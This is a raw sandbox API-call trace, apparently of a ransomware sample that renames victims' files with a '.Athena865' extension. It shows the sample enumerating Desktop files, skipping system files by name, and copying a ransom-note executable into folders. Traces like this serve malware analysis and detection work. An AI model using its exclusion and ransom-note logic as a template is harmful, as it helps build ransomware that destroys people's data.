[0100.465] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ntuser.dat") returned -1 [0100.465] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="perflogs") returned -1 [0100.465] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="MSBuild") returned -1 [0100.465] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0100.465] lstrcpyW (in: lpString1=0x241e894, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0100.466] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0100.466] lstrlenW (lpString="Athena865") returned 9 [0100.466] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.466] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16847890, ftCreationTime.dwHighDateTime=0x1d4ce21, ftLastAccessTime.dwLowDateTime=0xf02ef1d0, ftLastAccessTime.dwHighDateTime=0x1d4c834, ftLastWriteTime.dwLowDateTime=0xc5af4f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x6f90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DWJxc1GQYE8T.gif.Athena865", cAlternateFileName="DWJXC1~1.ATH")) returned 1 [0100.466] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.466] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.466] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif.Athena865", lpString2=".") returned 1 [0100.466] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif.Athena865", lpString2="..") returned 1 [0100.466] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif.Athena865", lpString2="windows") returned -1 [0100.466] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif.Athena865", lpString2="bootmgr") returned 1 [0100.466] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif.Athena865", lpString2="temp") returned -1 [0100.466] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif.Athena865", lpString2="pagefile.sys") returned -1 [0100.466] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif.Athena865", lpString2="boot") returned 1 [0100.466] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif.Athena865", lpString2="ids.txt") returned -1 [0100.466] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif.Athena865", lpString2="ntuser.dat") returned -1 [0100.466] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif.Athena865", lpString2="perflogs") returned -1 [0100.466] lstrcmpiW (lpString1="DWJxc1GQYE8T.gif.Athena865", lpString2="MSBuild") returned -1 [0100.466] lstrlenW (lpString="DWJxc1GQYE8T.gif.Athena865") returned 26 [0100.466] lstrcpyW (in: lpString1=0x241e894, lpString2="DWJxc1GQYE8T.gif.Athena865" | out: lpString1="DWJxc1GQYE8T.gif.Athena865") returned="DWJxc1GQYE8T.gif.Athena865" [0100.466] lstrlenW (lpString="DWJxc1GQYE8T.gif.Athena865") returned 26 [0100.466] lstrlenW (lpString="Athena865") returned 9 [0100.466] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.466] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a233d0, ftCreationTime.dwHighDateTime=0x1d4ccaa, ftLastAccessTime.dwLowDateTime=0xd35ca100, ftLastAccessTime.dwHighDateTime=0x1d4cc9a, ftLastWriteTime.dwLowDateTime=0xc5af4f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x15480, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="e3odboT70.m4a.Athena865", cAlternateFileName="E3ODBO~1.ATH")) returned 1 [0100.466] lstrcmpiW (lpString1="e3odboT70.m4a.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.466] lstrcmpiW (lpString1="e3odboT70.m4a.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.466] lstrcmpiW (lpString1="e3odboT70.m4a.Athena865", lpString2=".") returned 1 [0100.466] lstrcmpiW (lpString1="e3odboT70.m4a.Athena865", lpString2="..") returned 1 [0100.467] lstrcmpiW (lpString1="e3odboT70.m4a.Athena865", lpString2="windows") returned -1 [0100.467] lstrcmpiW (lpString1="e3odboT70.m4a.Athena865", lpString2="bootmgr") returned 1 [0100.467] lstrcmpiW (lpString1="e3odboT70.m4a.Athena865", lpString2="temp") returned -1 [0100.467] lstrcmpiW (lpString1="e3odboT70.m4a.Athena865", lpString2="pagefile.sys") returned -1 [0100.467] lstrcmpiW (lpString1="e3odboT70.m4a.Athena865", lpString2="boot") returned 1 [0100.467] lstrcmpiW (lpString1="e3odboT70.m4a.Athena865", lpString2="ids.txt") returned -1 [0100.467] lstrcmpiW (lpString1="e3odboT70.m4a.Athena865", lpString2="ntuser.dat") returned -1 [0100.467] lstrcmpiW (lpString1="e3odboT70.m4a.Athena865", lpString2="perflogs") returned -1 [0100.467] lstrcmpiW (lpString1="e3odboT70.m4a.Athena865", lpString2="MSBuild") returned -1 [0100.467] lstrlenW (lpString="e3odboT70.m4a.Athena865") returned 23 [0100.467] lstrcpyW (in: lpString1=0x241e894, lpString2="e3odboT70.m4a.Athena865" | out: lpString1="e3odboT70.m4a.Athena865") returned="e3odboT70.m4a.Athena865" [0100.467] lstrlenW (lpString="e3odboT70.m4a.Athena865") returned 23 [0100.467] lstrlenW (lpString="Athena865") returned 9 [0100.467] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.467] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2941c50, ftCreationTime.dwHighDateTime=0x1d4c700, ftLastAccessTime.dwLowDateTime=0xc5b1b0c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5b1b0c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GKf", cAlternateFileName="")) returned 1 [0100.467] lstrcmpiW (lpString1="GKf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.467] lstrcmpiW (lpString1="GKf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.467] lstrcmpiW (lpString1="GKf", lpString2=".") returned 1 [0100.467] lstrcmpiW (lpString1="GKf", lpString2="..") returned 1 [0100.467] lstrcmpiW (lpString1="GKf", lpString2="windows") returned -1 [0100.467] lstrcmpiW (lpString1="GKf", lpString2="bootmgr") returned 1 [0100.467] lstrcmpiW (lpString1="GKf", lpString2="temp") returned -1 [0100.467] lstrcmpiW (lpString1="GKf", lpString2="pagefile.sys") returned -1 [0100.467] lstrcmpiW (lpString1="GKf", lpString2="boot") returned 1 [0100.467] lstrcmpiW (lpString1="GKf", lpString2="ids.txt") returned -1 [0100.467] lstrcmpiW (lpString1="GKf", lpString2="ntuser.dat") returned -1 [0100.467] lstrcmpiW (lpString1="GKf", lpString2="perflogs") returned -1 [0100.467] lstrcmpiW (lpString1="GKf", lpString2="MSBuild") returned -1 [0100.467] lstrlenW (lpString="GKf") returned 3 [0100.467] lstrcpyW (in: lpString1=0x241e894, lpString2="GKf" | out: lpString1="GKf") returned="GKf" [0100.468] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ae48 [0100.468] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x52ff80 [0100.468] lstrcatW (in: lpString1="GKf", lpString2="\\" | out: lpString1="GKf\\") returned="GKf\\" [0100.468] lstrcatW (in: lpString1="GKf\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="GKf\\HOW TO BACK YOUR FILES.exe") returned="GKf\\HOW TO BACK YOUR FILES.exe" [0100.468] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GKf\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gkf\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.468] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad3f9e0, ftCreationTime.dwHighDateTime=0x1d4cb58, ftLastAccessTime.dwLowDateTime=0xd0620f30, ftLastAccessTime.dwHighDateTime=0x1d4cc59, ftLastWriteTime.dwLowDateTime=0xc5b41220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x13020, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HBTzNC.avi.Athena865", cAlternateFileName="HBTZNC~1.ATH")) returned 1 [0100.468] lstrcmpiW (lpString1="HBTzNC.avi.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.468] lstrcmpiW (lpString1="HBTzNC.avi.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.468] lstrcmpiW (lpString1="HBTzNC.avi.Athena865", lpString2=".") returned 1 [0100.468] lstrcmpiW (lpString1="HBTzNC.avi.Athena865", lpString2="..") returned 1 [0100.468] lstrcmpiW (lpString1="HBTzNC.avi.Athena865", lpString2="windows") returned -1 [0100.468] lstrcmpiW (lpString1="HBTzNC.avi.Athena865", lpString2="bootmgr") returned 1 [0100.468] lstrcmpiW (lpString1="HBTzNC.avi.Athena865", lpString2="temp") returned -1 [0100.468] lstrcmpiW (lpString1="HBTzNC.avi.Athena865", lpString2="pagefile.sys") returned -1 [0100.468] lstrcmpiW (lpString1="HBTzNC.avi.Athena865", lpString2="boot") returned 1 [0100.468] lstrcmpiW (lpString1="HBTzNC.avi.Athena865", lpString2="ids.txt") returned -1 [0100.468] lstrcmpiW (lpString1="HBTzNC.avi.Athena865", lpString2="ntuser.dat") returned -1 [0100.469] lstrcmpiW (lpString1="HBTzNC.avi.Athena865", lpString2="perflogs") returned -1 [0100.469] lstrcmpiW (lpString1="HBTzNC.avi.Athena865", lpString2="MSBuild") returned -1 [0100.469] lstrlenW (lpString="HBTzNC.avi.Athena865") returned 20 [0100.469] lstrcpyW (in: lpString1=0x241e894, lpString2="HBTzNC.avi.Athena865" | out: lpString1="HBTzNC.avi.Athena865") returned="HBTzNC.avi.Athena865" [0100.469] lstrlenW (lpString="HBTzNC.avi.Athena865") returned 20 [0100.469] lstrlenW (lpString="Athena865") returned 9 [0100.469] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.469] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238fc1f0, ftCreationTime.dwHighDateTime=0x1d4d490, ftLastAccessTime.dwLowDateTime=0x9328f2d0, ftLastAccessTime.dwHighDateTime=0x1d4c909, ftLastWriteTime.dwLowDateTime=0xc5b67380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3520, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hm1U0Lr.mp3.Athena865", cAlternateFileName="HM1U0L~1.ATH")) returned 1 [0100.469] lstrcmpiW (lpString1="Hm1U0Lr.mp3.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.469] lstrcmpiW (lpString1="Hm1U0Lr.mp3.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.469] lstrcmpiW (lpString1="Hm1U0Lr.mp3.Athena865", lpString2=".") returned 1 [0100.469] lstrcmpiW (lpString1="Hm1U0Lr.mp3.Athena865", lpString2="..") returned 1 [0100.469] lstrcmpiW (lpString1="Hm1U0Lr.mp3.Athena865", lpString2="windows") returned -1 [0100.469] lstrcmpiW (lpString1="Hm1U0Lr.mp3.Athena865", lpString2="bootmgr") returned 1 [0100.469] lstrcmpiW (lpString1="Hm1U0Lr.mp3.Athena865", lpString2="temp") returned -1 [0100.469] lstrcmpiW (lpString1="Hm1U0Lr.mp3.Athena865", lpString2="pagefile.sys") returned -1 [0100.469] lstrcmpiW (lpString1="Hm1U0Lr.mp3.Athena865", lpString2="boot") returned 1 [0100.469] lstrcmpiW (lpString1="Hm1U0Lr.mp3.Athena865", lpString2="ids.txt") returned -1 [0100.469] lstrcmpiW (lpString1="Hm1U0Lr.mp3.Athena865", lpString2="ntuser.dat") returned -1 [0100.469] lstrcmpiW (lpString1="Hm1U0Lr.mp3.Athena865", lpString2="perflogs") returned -1 [0100.469] lstrcmpiW (lpString1="Hm1U0Lr.mp3.Athena865", lpString2="MSBuild") returned -1 [0100.469] lstrlenW (lpString="Hm1U0Lr.mp3.Athena865") returned 21 [0100.469] lstrcpyW (in: lpString1=0x241e894, lpString2="Hm1U0Lr.mp3.Athena865" | out: lpString1="Hm1U0Lr.mp3.Athena865") returned="Hm1U0Lr.mp3.Athena865" [0100.469] lstrlenW (lpString="Hm1U0Lr.mp3.Athena865") returned 21 [0100.469] lstrlenW (lpString="Athena865") returned 9 [0100.469] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.469] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbce11940, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce11940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.469] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0100.469] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbee4d00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbbee4d00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe37a04e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x1e26, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ids.txt", cAlternateFileName="")) returned 1 [0100.469] lstrcmpiW (lpString1="ids.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.470] lstrcmpiW (lpString1="ids.txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.470] lstrcmpiW (lpString1="ids.txt", lpString2=".") returned 1 [0100.470] lstrcmpiW (lpString1="ids.txt", lpString2="..") returned 1 [0100.470] lstrcmpiW (lpString1="ids.txt", lpString2="windows") returned -1 [0100.470] lstrcmpiW (lpString1="ids.txt", lpString2="bootmgr") returned 1 [0100.470] lstrcmpiW (lpString1="ids.txt", lpString2="temp") returned -1 [0100.470] lstrcmpiW (lpString1="ids.txt", lpString2="pagefile.sys") returned -1 [0100.470] lstrcmpiW (lpString1="ids.txt", lpString2="boot") returned 1 [0100.470] lstrcmpiW (lpString1="ids.txt", lpString2="ids.txt") returned 0 [0100.470] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cd88480, ftCreationTime.dwHighDateTime=0x1d4d38b, ftLastAccessTime.dwLowDateTime=0x368a5970, ftLastAccessTime.dwHighDateTime=0x1d4c773, ftLastWriteTime.dwLowDateTime=0xc5b8d4e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x16810, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j9yySp5JhCBUF N.wav.Athena865", cAlternateFileName="J9YYSP~1.ATH")) returned 1 [0100.470] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.470] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.470] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav.Athena865", lpString2=".") returned 1 [0100.470] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav.Athena865", lpString2="..") returned 1 [0100.470] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav.Athena865", lpString2="windows") returned -1 [0100.470] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav.Athena865", lpString2="bootmgr") returned 1 [0100.470] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav.Athena865", lpString2="temp") returned -1 [0100.470] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav.Athena865", lpString2="pagefile.sys") returned -1 [0100.470] lstrcmpiW (lpString1="j9yySp5JhCBUF N.wav.Athena865", lpString2="boot") returned 1 [0100.470] lstrcpyW (in: lpString1=0x241e894, lpString2="j9yySp5JhCBUF N.wav.Athena865" | out: lpString1="j9yySp5JhCBUF N.wav.Athena865") returned="j9yySp5JhCBUF N.wav.Athena865" [0100.470] lstrlenW (lpString="j9yySp5JhCBUF N.wav.Athena865") returned 29 [0100.470] lstrlenW (lpString="Athena865") returned 9 [0100.470] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.470] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba853be0, ftCreationTime.dwHighDateTime=0x1d4d2be, ftLastAccessTime.dwLowDateTime=0x279d8390, ftLastAccessTime.dwHighDateTime=0x1d4c8bf, ftLastWriteTime.dwLowDateTime=0xc5b8d4e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xae70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LozZwG3.png.Athena865", cAlternateFileName="LOZZWG~1.ATH")) returned 1 [0100.470] lstrcmpiW (lpString1="LozZwG3.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.471] lstrcmpiW (lpString1="LozZwG3.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.471] lstrcpyW (in: lpString1=0x241e894, lpString2="LozZwG3.png.Athena865" | out: lpString1="LozZwG3.png.Athena865") returned="LozZwG3.png.Athena865" [0100.471] lstrlenW (lpString="LozZwG3.png.Athena865") returned 21 [0100.471] lstrlenW (lpString="Athena865") returned 9 [0100.471] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.471] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb9cc400, ftCreationTime.dwHighDateTime=0x1d4cbac, ftLastAccessTime.dwLowDateTime=0xb13fc010, ftLastAccessTime.dwHighDateTime=0x1d4cb7e, ftLastWriteTime.dwLowDateTime=0xc5bb3640, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x1bb0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mdcQ_IY.m4a.Athena865", cAlternateFileName="MDCQ_I~1.ATH")) returned 1 [0100.471] lstrcmpiW (lpString1="mdcQ_IY.m4a.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.471] lstrcmpiW (lpString1="mdcQ_IY.m4a.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.471] lstrcpyW (in: lpString1=0x241e894, lpString2="mdcQ_IY.m4a.Athena865" | out: lpString1="mdcQ_IY.m4a.Athena865") returned="mdcQ_IY.m4a.Athena865" [0100.471] lstrlenW (lpString="mdcQ_IY.m4a.Athena865") returned 21 [0100.471] lstrlenW (lpString="Athena865") returned 9 [0100.471] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.471] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3b59930, ftCreationTime.dwHighDateTime=0x1d4d492, ftLastAccessTime.dwLowDateTime=0x24b7fd0, ftLastAccessTime.dwHighDateTime=0x1d4cbf7, ftLastWriteTime.dwLowDateTime=0xc5bb3640, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4690, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ohq8W9CDY3HwV3Wk.m4a.Athena865", cAlternateFileName="OHQ8W9~1.ATH")) returned 1 [0100.471] lstrcmpiW (lpString1="ohq8W9CDY3HwV3Wk.m4a.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.471] lstrcmpiW (lpString1="ohq8W9CDY3HwV3Wk.m4a.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.471] lstrcpyW (in: lpString1=0x241e894, lpString2="ohq8W9CDY3HwV3Wk.m4a.Athena865" | out: lpString1="ohq8W9CDY3HwV3Wk.m4a.Athena865") returned="ohq8W9CDY3HwV3Wk.m4a.Athena865" [0100.471] lstrlenW (lpString="ohq8W9CDY3HwV3Wk.m4a.Athena865") returned 30 [0100.471] lstrlenW (lpString="Athena865") returned 9 [0100.471] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.471] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2ba17a0, ftCreationTime.dwHighDateTime=0x1d4d491, ftLastAccessTime.dwLowDateTime=0x6106e610, ftLastAccessTime.dwHighDateTime=0x1d4cb19, ftLastWriteTime.dwLowDateTime=0xc5bd97a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xb590, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pOEgwOiiYRMEI6.gif.Athena865", cAlternateFileName="POEGWO~1.ATH")) returned 1 [0100.471] lstrcmpiW (lpString1="pOEgwOiiYRMEI6.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.471] lstrcmpiW (lpString1="pOEgwOiiYRMEI6.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.471] lstrcpyW (in: lpString1=0x241e894, lpString2="pOEgwOiiYRMEI6.gif.Athena865" | out: lpString1="pOEgwOiiYRMEI6.gif.Athena865") returned="pOEgwOiiYRMEI6.gif.Athena865" [0100.471] lstrlenW (lpString="pOEgwOiiYRMEI6.gif.Athena865") returned 28 [0100.471] lstrlenW (lpString="Athena865") returned 9 [0100.471] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.471] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f58be90, ftCreationTime.dwHighDateTime=0x1d4c9d3, ftLastAccessTime.dwLowDateTime=0x3e488820, ftLastAccessTime.dwHighDateTime=0x1d4d539, ftLastWriteTime.dwLowDateTime=0xc5bd97a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3940, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Qyo mTHjxFoO1.flv.Athena865", cAlternateFileName="QYOMTH~1.ATH")) returned 1 [0100.472] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.472] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.472] lstrcpyW (in: lpString1=0x241e894, lpString2="Qyo mTHjxFoO1.flv.Athena865" | out: lpString1="Qyo mTHjxFoO1.flv.Athena865") returned="Qyo mTHjxFoO1.flv.Athena865" [0100.472] lstrlenW (lpString="Qyo mTHjxFoO1.flv.Athena865") returned 27 [0100.472] lstrlenW (lpString="Athena865") returned 9 [0100.472] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.472] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd410cea0, ftCreationTime.dwHighDateTime=0x1d4c56f, ftLastAccessTime.dwLowDateTime=0x738894e0, ftLastAccessTime.dwHighDateTime=0x1d4cab1, ftLastWriteTime.dwLowDateTime=0xc5bff900, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x5e70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RU-S3sUrMUmc4X.png.Athena865", cAlternateFileName="RU-S3S~1.ATH")) returned 1 [0100.472] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.472] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.472] lstrcpyW (in: lpString1=0x241e894, lpString2="RU-S3sUrMUmc4X.png.Athena865" | out: lpString1="RU-S3sUrMUmc4X.png.Athena865") returned="RU-S3sUrMUmc4X.png.Athena865" [0100.472] lstrlenW (lpString="RU-S3sUrMUmc4X.png.Athena865") returned 28 [0100.472] lstrlenW (lpString="Athena865") returned 9 [0100.472] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.472] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65b62610, ftCreationTime.dwHighDateTime=0x1d4ccb5, ftLastAccessTime.dwLowDateTime=0x7ba93900, ftLastAccessTime.dwHighDateTime=0x1d4c56a, ftLastWriteTime.dwLowDateTime=0xc5bff900, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7cc0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="s6Bdxi1.csv.Athena865", cAlternateFileName="S6BDXI~1.ATH")) returned 1 [0100.472] lstrcmpiW (lpString1="s6Bdxi1.csv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.472] lstrcmpiW (lpString1="s6Bdxi1.csv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.472] lstrcpyW (in: lpString1=0x241e894, lpString2="s6Bdxi1.csv.Athena865" | out: lpString1="s6Bdxi1.csv.Athena865") returned="s6Bdxi1.csv.Athena865" [0100.472] lstrlenW (lpString="s6Bdxi1.csv.Athena865") returned 21 [0100.472] lstrlenW (lpString="Athena865") returned 9 [0100.472] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.472] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6494ca00, ftCreationTime.dwHighDateTime=0x1d4c7f3, ftLastAccessTime.dwLowDateTime=0x23b6620, ftLastAccessTime.dwHighDateTime=0x1d4ce5b, ftLastWriteTime.dwLowDateTime=0xc5c25a60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xa940, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="T0y9b-5uRnKsw2.wav.Athena865", cAlternateFileName="T0Y9B-~1.ATH")) returned 1 [0100.472] lstrcmpiW (lpString1="T0y9b-5uRnKsw2.wav.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.472] lstrcmpiW (lpString1="T0y9b-5uRnKsw2.wav.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.472] lstrcpyW (in: lpString1=0x241e894, lpString2="T0y9b-5uRnKsw2.wav.Athena865" | out: lpString1="T0y9b-5uRnKsw2.wav.Athena865") returned="T0y9b-5uRnKsw2.wav.Athena865" [0100.472] lstrlenW (lpString="T0y9b-5uRnKsw2.wav.Athena865") returned 28 [0100.472] lstrlenW (lpString="Athena865") returned 9 [0100.472] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.472] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d3f6e0, ftCreationTime.dwHighDateTime=0x1d4c978, 